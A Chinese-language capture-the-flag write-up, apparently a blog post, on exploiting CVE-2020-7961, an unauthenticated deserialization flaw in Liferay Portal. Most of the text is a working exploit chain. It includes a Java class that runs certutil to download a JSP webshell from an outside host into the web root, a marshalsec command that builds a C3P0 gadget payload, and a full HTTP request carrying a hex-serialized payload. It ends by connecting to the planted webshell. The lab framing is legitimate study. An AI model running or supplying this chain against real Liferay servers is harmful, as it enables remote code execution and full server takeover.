本题考点为cve-2020-7961.
漏洞说明
Liferay是一个开源的Portal(认证)产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户.
该洞是个反序列化导致的rce,通过未授权访问其api传递json数据进行反序列化,危害较高(1)
影响范围
Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X(2)
题目复现
查找资料,利用网上已有的poc.
LifExp.java:
public class LifExp { static { try { String[] cmd = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f", "http://ip:port/shell.jsp", "..\\webapps\\ROOT\\shell.jsp"}; java.lang.Runtime.getRuntime(). exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } }
靶机系统为Windows,certutil.exe
可以进行远程http请求,由于当前靶机执行命令的路径为liferay-ce-portal-7.1.2-ga3\tomcat-9.0.10\bin
,所以在下载webshell时要进行目录穿越将其下载到与index.jsp同目录即tomcat-9.0.10\webapps\ROOT
.
将shell.jsp和LifExp.java放到有公网ip的vps中,使用javac LIfExp.java
生成LifExp.class文件.
在上述三个文件所放置的目录下使用python3 -m http.server port
启动web服务.
接着用marshalsec-0.0.3-SNAPSHOT-all.jar进行序列化.(在此感谢Leon大哥的资源)
命令:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://ip:port/ LifExp
(ip和端口为开启了web服务的vps的ip及对应端口.)
利用burp发包.
POST /api/jsonws/invoke HTTP/1.1 Host: web1616.dozerjit.club:8086 Content-Length: 1357 Content-Type: application/x-www-form-urlencoded Connection: close cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c696645787074001a687474703a2f2f382e3132392e3136342e3232323a383030302f740003466f6f;"}
将WrapperConnectionPoolDataSource=
后面的内容替换为用marshalsec-0.0.3-SNAPSHOT-all.jar
生成的字符串.
发包后若看到vps收到请求,即为成功.
最后用蚁剑连接webshell即可,flag.txt在Desktop.
(1)(2):CVE-2020-7961 Liferay Portal 复现分析
No responses yet